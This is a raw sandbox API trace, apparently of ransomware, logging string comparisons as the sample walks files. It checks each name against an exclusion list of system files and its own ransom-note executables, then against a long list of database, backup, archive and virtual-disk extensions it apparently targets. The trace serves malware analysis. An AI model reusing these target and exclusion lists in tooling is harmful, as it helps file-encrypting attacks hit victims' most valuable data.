	[0057.727] lstrlenW (lpString="sqlite") returned 6
	[0057.727] lstrcmpiW (lpString1="me.CHS", lpString2="sqlite") returned -1
	[0057.727] lstrlenW (lpString="sqlite3") returned 7
	[0057.727] lstrcmpiW (lpString1="ime.CHS", lpString2="sqlite3") returned -1
	[0057.727] lstrlenW (lpString="sqlitedb") returned 8
	[0057.727] lstrcmpiW (lpString1="Time.CHS", lpString2="sqlitedb") returned 1
	[0057.727] lstrlenW (lpString="xml") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="xml") returned -1
	[0057.727] lstrlenW (lpString="$er") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="$er") returned 1
	[0057.727] lstrlenW (lpString="4dd") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="4dd") returned 1
	[0057.727] lstrlenW (lpString="4dl") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="4dl") returned 1
	[0057.727] lstrlenW (lpString="^^^") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="^^^") returned 1
	[0057.727] lstrlenW (lpString="abs") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="abs") returned 1
	[0057.727] lstrlenW (lpString="abx") returned 3
	[0057.727] lstrcmpiW (lpString1="CHS", lpString2="abx") returned 1
	[0057.727] lstrlenW (lpString="accdb") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accdb") returned 1
	[0057.727] lstrlenW (lpString="accdc") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accdc") returned 1
	[0057.727] lstrlenW (lpString="accde") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accde") returned 1
	[0057.727] lstrlenW (lpString="accdr") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accdr") returned 1
	[0057.727] lstrlenW (lpString="accdt") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accdt") returned 1
	[0057.727] lstrlenW (lpString="accdw") returned 5
	[0057.727] lstrcmpiW (lpString1="e.CHS", lpString2="accdw") returned 1
	[0057.727] lstrlenW (lpString="accft") returned 5
	[0057.728] lstrcmpiW (lpString1="e.CHS", lpString2="accft") returned 1
	[0057.728] lstrlenW (lpString="adb") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0057.728] lstrlenW (lpString="adb") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="adb") returned 1
	[0057.728] lstrlenW (lpString="ade") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="ade") returned 1
	[0057.728] lstrlenW (lpString="adf") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="adf") returned 1
	[0057.728] lstrlenW (lpString="adn") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="adn") returned 1
	[0057.728] lstrlenW (lpString="adp") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="adp") returned 1
	[0057.728] lstrlenW (lpString="alf") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="alf") returned 1
	[0057.728] lstrlenW (lpString="ask") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="ask") returned 1
	[0057.728] lstrlenW (lpString="btr") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="btr") returned 1
	[0057.728] lstrlenW (lpString="cat") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="cat") returned 1
	[0057.728] lstrlenW (lpString="cdb") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="cdb") returned 1
	[0057.728] lstrlenW (lpString="ckp") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="ckp") returned -1
	[0057.728] lstrlenW (lpString="cma") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="cma") returned -1
	[0057.728] lstrlenW (lpString="cpd") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="cpd") returned -1
	[0057.728] lstrlenW (lpString="dacpac") returned 6
	[0057.728] lstrcmpiW (lpString1="me.CHS", lpString2="dacpac") returned 1
	[0057.728] lstrlenW (lpString="dad") returned 3
	[0057.728] lstrcmpiW (lpString1="CHS", lpString2="dad") returned -1
	[0057.728] lstrlenW (lpString="dadiagrams") returned 10
	[0057.728] lstrcmpiW (lpString1="ckTime.CHS", lpString2="dadiagrams") returned -1
	[0057.728] lstrlenW (lpString="daschema") returned 8
	[0057.729] lstrcmpiW (lpString1="Time.CHS", lpString2="daschema") returned 1
	[0057.729] lstrlenW (lpString="db-journal") returned 10
	[0057.729] lstrcmpiW (lpString1="ckTime.CHS", lpString2="db-journal") returned -1
	[0057.729] lstrlenW (lpString="db-shm") returned 6
	[0057.729] lstrcmpiW (lpString1="me.CHS", lpString2="db-shm") returned 1
	[0057.729] lstrlenW (lpString="db-wal") returned 6
	[0057.729] lstrcmpiW (lpString1="me.CHS", lpString2="db-wal") returned 1
	[0057.729] lstrlenW (lpString="dbc") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dbc") returned -1
	[0057.729] lstrlenW (lpString="dbs") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dbs") returned -1
	[0057.729] lstrlenW (lpString="dbt") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dbt") returned -1
	[0057.729] lstrlenW (lpString="dbv") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dbv") returned -1
	[0057.729] lstrlenW (lpString="dbx") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dbx") returned -1
	[0057.729] lstrlenW (lpString="dcb") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dcb") returned -1
	[0057.729] lstrlenW (lpString="dct") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dct") returned -1
	[0057.729] lstrlenW (lpString="dcx") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dcx") returned -1
	[0057.729] lstrlenW (lpString="ddl") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="ddl") returned -1
	[0057.729] lstrlenW (lpString="dlis") returned 4
	[0057.729] lstrcmpiW (lpString1=".CHS", lpString2="dlis") returned -1
	[0057.729] lstrlenW (lpString="dp1") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dp1") returned -1
	[0057.729] lstrlenW (lpString="dqy") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dqy") returned -1
	[0057.729] lstrlenW (lpString="dsk") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dsk") returned -1
	[0057.729] lstrlenW (lpString="dsn") returned 3
	[0057.729] lstrcmpiW (lpString1="CHS", lpString2="dsn") returned -1
	[0057.730] lstrlenW (lpString="dtsx") returned 4
	[0057.730] lstrcmpiW (lpString1=".CHS", lpString2="dtsx") returned -1
	[0057.730] lstrlenW (lpString="dxl") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="dxl") returned -1
	[0057.730] lstrlenW (lpString="eco") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="eco") returned -1
	[0057.730] lstrlenW (lpString="ecx") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="ecx") returned -1
	[0057.730] lstrlenW (lpString="edb") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="edb") returned -1
	[0057.730] lstrlenW (lpString="epim") returned 4
	[0057.730] lstrcmpiW (lpString1=".CHS", lpString2="epim") returned -1
	[0057.730] lstrlenW (lpString="fcd") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fcd") returned -1
	[0057.730] lstrlenW (lpString="fdb") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fdb") returned -1
	[0057.730] lstrlenW (lpString="fic") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fic") returned -1
	[0057.730] lstrlenW (lpString="flexolibrary") returned 12
	[0057.730] lstrcmpiW (lpString1="uickTime.CHS", lpString2="flexolibrary") returned 1
	[0057.730] lstrlenW (lpString="fm5") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fm5") returned -1
	[0057.730] lstrlenW (lpString="fmp") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fmp") returned -1
	[0057.730] lstrlenW (lpString="fmp12") returned 5
	[0057.730] lstrcmpiW (lpString1="e.CHS", lpString2="fmp12") returned -1
	[0057.730] lstrlenW (lpString="fmpsl") returned 5
	[0057.730] lstrcmpiW (lpString1="e.CHS", lpString2="fmpsl") returned -1
	[0057.730] lstrlenW (lpString="fol") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fol") returned -1
	[0057.730] lstrlenW (lpString="fp3") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fp3") returned -1
	[0057.730] lstrlenW (lpString="fp4") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fp4") returned -1
	[0057.730] lstrlenW (lpString="fp5") returned 3
	[0057.730] lstrcmpiW (lpString1="CHS", lpString2="fp5") returned -1
	[0057.731] lstrlenW (lpString="fp7") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="fp7") returned -1
	[0057.731] lstrlenW (lpString="fpt") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="fpt") returned -1
	[0057.731] lstrlenW (lpString="frm") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="frm") returned -1
	[0057.731] lstrlenW (lpString="gdb") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0057.731] lstrlenW (lpString="gdb") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="gdb") returned -1
	[0057.731] lstrlenW (lpString="grdb") returned 4
	[0057.731] lstrcmpiW (lpString1=".CHS", lpString2="grdb") returned -1
	[0057.731] lstrlenW (lpString="gwi") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="gwi") returned -1
	[0057.731] lstrlenW (lpString="hdb") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="hdb") returned -1
	[0057.731] lstrlenW (lpString="his") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="his") returned -1
	[0057.731] lstrlenW (lpString="ib") returned 2
	[0057.731] lstrcmpiW (lpString1="HS", lpString2="ib") returned -1
	[0057.731] lstrlenW (lpString="idb") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="idb") returned -1
	[0057.731] lstrlenW (lpString="ihx") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="ihx") returned -1
	[0057.731] lstrlenW (lpString="itdb") returned 4
	[0057.731] lstrcmpiW (lpString1=".CHS", lpString2="itdb") returned -1
	[0057.731] lstrlenW (lpString="itw") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="itw") returned -1
	[0057.731] lstrlenW (lpString="jet") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="jet") returned -1
	[0057.731] lstrlenW (lpString="jtx") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="jtx") returned -1
	[0057.731] lstrlenW (lpString="kdb") returned 3
	[0057.731] lstrcmpiW (lpString1="CHS", lpString2="kdb") returned -1
	[0057.731] lstrlenW (lpString="kexi") returned 4
	[0057.731] lstrcmpiW (lpString1=".CHS", lpString2="kexi") returned -1
	[0057.732] lstrlenW (lpString="kexic") returned 5
	[0057.732] lstrcmpiW (lpString1="e.CHS", lpString2="kexic") returned -1
	[0057.732] lstrlenW (lpString="kexis") returned 5
	[0057.732] lstrcmpiW (lpString1="e.CHS", lpString2="kexis") returned -1
	[0057.732] lstrlenW (lpString="lgc") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="lgc") returned -1
	[0057.732] lstrlenW (lpString="lwx") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="lwx") returned -1
	[0057.732] lstrlenW (lpString="maf") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="maf") returned -1
	[0057.732] lstrlenW (lpString="maq") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="maq") returned -1
	[0057.732] lstrlenW (lpString="mar") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mar") returned -1
	[0057.732] lstrlenW (lpString="marshal") returned 7
	[0057.732] lstrcmpiW (lpString1="ime.CHS", lpString2="marshal") returned -1
	[0057.732] lstrlenW (lpString="mas") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mas") returned -1
	[0057.732] lstrlenW (lpString="mav") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mav") returned -1
	[0057.732] lstrlenW (lpString="maw") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="maw") returned -1
	[0057.732] lstrlenW (lpString="mdbhtml") returned 7
	[0057.732] lstrcmpiW (lpString1="ime.CHS", lpString2="mdbhtml") returned -1
	[0057.732] lstrlenW (lpString="mdn") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mdn") returned -1
	[0057.732] lstrlenW (lpString="mdt") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mdt") returned -1
	[0057.732] lstrlenW (lpString="mfd") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mfd") returned -1
	[0057.732] lstrlenW (lpString="mpd") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mpd") returned -1
	[0057.732] lstrlenW (lpString="mrg") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mrg") returned -1
	[0057.732] lstrlenW (lpString="mud") returned 3
	[0057.732] lstrcmpiW (lpString1="CHS", lpString2="mud") returned -1
	[0057.733] lstrlenW (lpString="mwb") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="mwb") returned -1
	[0057.733] lstrlenW (lpString="myd") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="myd") returned -1
	[0057.733] lstrlenW (lpString="ndf") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="ndf") returned -1
	[0057.733] lstrlenW (lpString="nnt") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="nnt") returned -1
	[0057.733] lstrlenW (lpString="nrmlib") returned 6
	[0057.733] lstrcmpiW (lpString1="me.CHS", lpString2="nrmlib") returned -1
	[0057.733] lstrlenW (lpString="ns2") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="ns2") returned -1
	[0057.733] lstrlenW (lpString="ns3") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="ns3") returned -1
	[0057.733] lstrlenW (lpString="ns4") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="ns4") returned -1
	[0057.733] lstrlenW (lpString="nsf") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="nsf") returned -1
	[0057.733] lstrlenW (lpString="nv") returned 2
	[0057.733] lstrcmpiW (lpString1="HS", lpString2="nv") returned -1
	[0057.733] lstrlenW (lpString="nv2") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="nv2") returned -1
	[0057.733] lstrlenW (lpString="nwdb") returned 4
	[0057.733] lstrcmpiW (lpString1=".CHS", lpString2="nwdb") returned -1
	[0057.733] lstrlenW (lpString="nyf") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="nyf") returned -1
	[0057.733] lstrlenW (lpString="odb") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0057.733] lstrlenW (lpString="odb") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="odb") returned -1
	[0057.733] lstrlenW (lpString="oqy") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="oqy") returned -1
	[0057.733] lstrlenW (lpString="ora") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="ora") returned -1
	[0057.733] lstrlenW (lpString="orx") returned 3
	[0057.733] lstrcmpiW (lpString1="CHS", lpString2="orx") returned -1
	[0057.734] lstrlenW (lpString="owc") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="owc") returned -1
	[0057.734] lstrlenW (lpString="p96") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="p96") returned -1
	[0057.734] lstrlenW (lpString="p97") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="p97") returned -1
	[0057.734] lstrlenW (lpString="pan") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="pan") returned -1
	[0057.734] lstrlenW (lpString="pdb") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="pdb") returned -1
	[0057.734] lstrlenW (lpString="pdm") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="pdm") returned -1
	[0057.734] lstrlenW (lpString="pnz") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="pnz") returned -1
	[0057.734] lstrlenW (lpString="qry") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="qry") returned -1
	[0057.734] lstrlenW (lpString="qvd") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="qvd") returned -1
	[0057.734] lstrlenW (lpString="rbf") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="rbf") returned -1
	[0057.734] lstrlenW (lpString="rctd") returned 4
	[0057.734] lstrcmpiW (lpString1=".CHS", lpString2="rctd") returned -1
	[0057.734] lstrlenW (lpString="rod") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="rod") returned -1
	[0057.734] lstrlenW (lpString="rodx") returned 4
	[0057.734] lstrcmpiW (lpString1=".CHS", lpString2="rodx") returned -1
	[0057.734] lstrlenW (lpString="rpd") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="rpd") returned -1
	[0057.734] lstrlenW (lpString="rsd") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="rsd") returned -1
	[0057.734] lstrlenW (lpString="sas7bdat") returned 8
	[0057.734] lstrcmpiW (lpString1="Time.CHS", lpString2="sas7bdat") returned 1
	[0057.734] lstrlenW (lpString="sbf") returned 3
	[0057.734] lstrcmpiW (lpString1="CHS", lpString2="sbf") returned -1
	[0057.734] lstrlenW (lpString="scx") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="scx") returned -1
	[0057.735] lstrlenW (lpString="sdb") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="sdb") returned -1
	[0057.735] lstrlenW (lpString="sdc") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="sdc") returned -1
	[0057.735] lstrlenW (lpString="sdf") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="sdf") returned -1
	[0057.735] lstrlenW (lpString="sis") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="sis") returned -1
	[0057.735] lstrlenW (lpString="spq") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="spq") returned -1
	[0057.735] lstrlenW (lpString="te") returned 2
	[0057.735] lstrcmpiW (lpString1="HS", lpString2="te") returned -1
	[0057.735] lstrlenW (lpString="teacher") returned 7
	[0057.735] lstrcmpiW (lpString1="ime.CHS", lpString2="teacher") returned -1
	[0057.735] lstrlenW (lpString="tmd") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="tmd") returned -1
	[0057.735] lstrlenW (lpString="tps") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="tps") returned -1
	[0057.735] lstrlenW (lpString="trc") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0057.735] lstrlenW (lpString="trc") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="trc") returned -1
	[0057.735] lstrlenW (lpString="trm") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="trm") returned -1
	[0057.735] lstrlenW (lpString="udb") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="udb") returned -1
	[0057.735] lstrlenW (lpString="udl") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="udl") returned -1
	[0057.735] lstrlenW (lpString="usr") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="usr") returned -1
	[0057.735] lstrlenW (lpString="v12") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="v12") returned -1
	[0057.735] lstrlenW (lpString="vis") returned 3
	[0057.735] lstrcmpiW (lpString1="CHS", lpString2="vis") returned -1
	[0057.735] lstrlenW (lpString="vpd") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="vpd") returned -1
	[0057.736] lstrlenW (lpString="vvv") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="vvv") returned -1
	[0057.736] lstrlenW (lpString="wdb") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="wdb") returned -1
	[0057.736] lstrlenW (lpString="wmdb") returned 4
	[0057.736] lstrcmpiW (lpString1=".CHS", lpString2="wmdb") returned -1
	[0057.736] lstrlenW (lpString="wrk") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="wrk") returned -1
	[0057.736] lstrlenW (lpString="xdb") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="xdb") returned -1
	[0057.736] lstrlenW (lpString="xld") returned 3
	[0057.736] lstrcmpiW (lpString1="CHS", lpString2="xld") returned -1
	[0057.736] lstrlenW (lpString="xmlff") returned 5
	[0057.736] lstrcmpiW (lpString1="e.CHS", lpString2="xmlff") returned -1
	[0057.736] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QuickTime.CHT", cAlternateFileName="QUICKT~1.CHT")) returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="Apollon865.txt.exe") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="..") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="windows") returned -1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="bootmgr") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="temp") returned -1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="pagefile.sys") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="boot") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="ids.txt") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="ntuser.dat") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="perflogs") returned 1
	[0057.736] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="MSBuild") returned 1
	[0057.737] lstrlenW (lpString="QuickTime.CHT") returned 13
	[0057.737] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS") returned 85
	[0057.737] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="QuickTime.CHT" | out: lpString1="QuickTime.CHT") returned="QuickTime.CHT"
	[0057.737] lstrlenW (lpString="QuickTime.CHT") returned 13
	[0057.737] lstrlenW (lpString="Apollon865") returned 10
	[0057.737] lstrcmpiW (lpString1="ckTime.CHT", lpString2="Apollon865") returned 1
	[0057.737] lstrlenW (lpString=".dll") returned 4
	[0057.737] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".dll") returned 1
	[0057.737] lstrlenW (lpString=".lnk") returned 4
	[0057.737] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".lnk") returned 1
	[0057.737] lstrlenW (lpString=".ini") returned 4
	[0057.737] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".ini") returned 1
	[0057.737] lstrlenW (lpString=".sys") returned 4
	[0057.737] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".sys") returned 1
	[0057.737] lstrlenW (lpString="QuickTime.CHT") returned 13
	[0057.737] lstrlenW (lpString="bak") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="bak") returned 1
	[0057.737] lstrlenW (lpString="ba_") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="ba_") returned 1
	[0057.737] lstrlenW (lpString="dbb") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="dbb") returned -1
	[0057.737] lstrlenW (lpString="vmdk") returned 4
	[0057.737] lstrcmpiW (lpString1=".CHT", lpString2="vmdk") returned -1
	[0057.737] lstrlenW (lpString="rar") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="rar") returned -1
	[0057.737] lstrlenW (lpString="zip") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="zip") returned -1
	[0057.737] lstrlenW (lpString="tgz") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="tgz") returned -1
	[0057.737] lstrlenW (lpString="vbox") returned 4
	[0057.737] lstrcmpiW (lpString1=".CHT", lpString2="vbox") returned -1
	[0057.737] lstrlenW (lpString="vdi") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="vdi") returned -1
	[0057.737] lstrlenW (lpString="vhd") returned 3
	[0057.737] lstrcmpiW (lpString1="CHT", lpString2="vhd") returned -1
	[0057.738] lstrlenW (lpString="vhdx") returned 4
	[0057.738] lstrcmpiW (lpString1=".CHT", lpString2="vhdx") returned -1
	[0057.738] lstrlenW (lpString="avhd") returned 4
	[0057.738] lstrcmpiW (lpString1=".CHT", lpString2="avhd") returned -1
	[0057.738] lstrlenW (lpString="db") returned 2
	[0057.738] lstrcmpiW (lpString1="HT", lpString2="db") returned 1
	[0057.738] lstrlenW (lpString="db2") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="db2") returned -1
	[0057.738] lstrlenW (lpString="db3") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="db3") returned -1
	[0057.738] lstrlenW (lpString="dbf") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="dbf") returned -1
	[0057.738] lstrlenW (lpString="mdf") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="mdf") returned -1
	[0057.738] lstrlenW (lpString="mdb") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="mdb") returned -1
	[0057.738] lstrlenW (lpString="sql") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="sql") returned -1
	[0057.738] lstrlenW (lpString="sqlite") returned 6
	[0057.738] lstrcmpiW (lpString1="me.CHT", lpString2="sqlite") returned -1
	[0057.738] lstrlenW (lpString="sqlite3") returned 7
	[0057.738] lstrcmpiW (lpString1="ime.CHT", lpString2="sqlite3") returned -1
	[0057.738] lstrlenW (lpString="sqlitedb") returned 8
	[0057.738] lstrcmpiW (lpString1="Time.CHT", lpString2="sqlitedb") returned 1
	[0057.738] lstrlenW (lpString="xml") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="xml") returned -1
	[0057.738] lstrlenW (lpString="$er") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="$er") returned 1
	[0057.738] lstrlenW (lpString="4dd") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="4dd") returned 1
	[0057.738] lstrlenW (lpString="4dl") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="4dl") returned 1
	[0057.738] lstrlenW (lpString="^^^") returned 3
	[0057.738] lstrcmpiW (lpString1="CHT", lpString2="^^^") returned 1
	[0057.739] lstrlenW (lpString="abs") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="abs") returned 1
	[0057.739] lstrlenW (lpString="abx") returned 3
	[0057.739] lstrcmpiW (lpString1="CHT", lpString2="abx") returned 1
	[0057.739] lstrlenW (lpString="accdb") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accdb") returned 1
	[0057.739] lstrlenW (lpString="accdc") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accdc") returned 1
	[0057.739] lstrlenW (lpString="accde") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accde") returned 1
	[0057.739] lstrlenW (lpString="accdr") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accdr") returned 1
	[0057.739] lstrlenW (lpString="accdt") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accdt") returned 1
	[0057.739] lstrlenW (lpString="accdw") returned 5
	[0057.739] lstrcmpiW (lpString1="e.CHT", lpString2="accdw") returned 1
	[0057.739] lstrlenW (lpString="accft") returned 5
